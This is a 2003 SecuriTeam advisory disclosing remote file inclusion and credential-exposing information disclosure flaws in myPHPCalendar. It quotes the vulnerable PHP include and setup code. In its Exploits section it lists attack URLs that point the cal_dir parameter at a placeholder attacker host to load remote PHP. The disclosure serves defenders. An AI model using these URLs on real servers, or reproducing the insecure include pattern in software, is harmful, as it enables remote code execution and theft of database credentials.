[UNIX] myPHPCalendar Information Disclosure and File Inclusion

From: SecuriTeam (support_at_securiteam.com)
Date: 10/13/03

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Date: 13 Oct 2003 15:05:44 +0200

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      myPHPCalendar Information Disclosure and File Inclusion
    ------------------------------------------------------------------------

    SUMMARY

     <http://sourceforge.net/projects/myphpcalendar/> myPHPCalendar "is an
    extensive calendar solution for workgroups. It allows the users to create
    new accounts, assign tasks as public, private or groups. It is growing in
    features all of the time".

    Multiple vulnerabilities in the code allow remote attackers to cause the
    product to include external PHP files and execute them. Another
    vulnerability allows revealing of sensitive information on the remote
    server.

    DETAILS

    Vulnerable systems:
     * myPHPCalendar 10192000 Build 1 Beta

    The following files admin.php, contacts.php, convert-date.php contain
    vulnerable code:

    First they request an include() directive of an external file:
    include ("globals.inc");

    This file globals.inc, contain an insecure include() directive:
    include($cal_dir."vars.inc");
    include($cal_dir."prefs.inc");

    The following file index.php also contain a similar insecure include()
    directive:
    include ($cal_dir."globals.inc");
    [...]
    include($cal_dir."sql.inc");

    The file setup.php when access will execute the following code:
    $fp = fopen("setup.inc", "w+");
    fputs($fp, "<?php\n");
    fputs($fp, "\$url = \"".$URL."\";\n");
    fputs($fp, "\$mainscript = \"".$MAINSCRIPT."\";\n");
    fputs($fp, "\$mysql_server = \"".$MYSQL_SERVER."\";\n");
    fputs($fp, "\$mysql_username = \"".$MYSQL_USERNAME."\";\n");
    fputs($fp, "\$mysql_pass = \"".$MYSQL_PASS."\";\n");
    fputs($fp, "\$database_name = \"".$DATABASE_NAME."\";\n");
    fputs($fp, "\$db_type = \"".$DB_TYPE."\";\n");
    fputs($fp, "\$user_text = \"".$USER_TEXT."\";\n");
    fputs($fp, "\$crypt_type = \"".$CRYPT_TYPE."\";\n");
    fputs($fp, "\$display_username = \"".$DISPLAY_USERNAME."\";\n");
    fputs($fp, "\$maxdisplay = \"".$MAXDISPLAY."\";\n");
    fputs($fp, "\$admin_email = \"".$ADMIN_EMAIL."\";\n");

    This of course reveals a lot of sensitive information on the remote
    server, when the setup.inc is requested.

    Exploits:
    Each request for any of these URLs:
    http://[target]/admin.php?cal_dir=http://[attacker]/
    http://[target]/contacts.php?cal_dir=http://[attacker]/
    http://[target]/convert-date.php?cal_dir=http://[attacker]/

    Will request an inclusion of files:
    http://[attacker]/vars.inc and/or http://[attacker]/prefs.inc

    Requesting the following URL:
    http://[target]/index.php?cal_dir=http://[attacker]/

    Will request an inclusion of the files:
    http://[target]/globals.inc
    http://[target]/sql.inc

    Requesting the following URL:
    http://[target]/setup.inc

    Will reveal the sensitive information shown above.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

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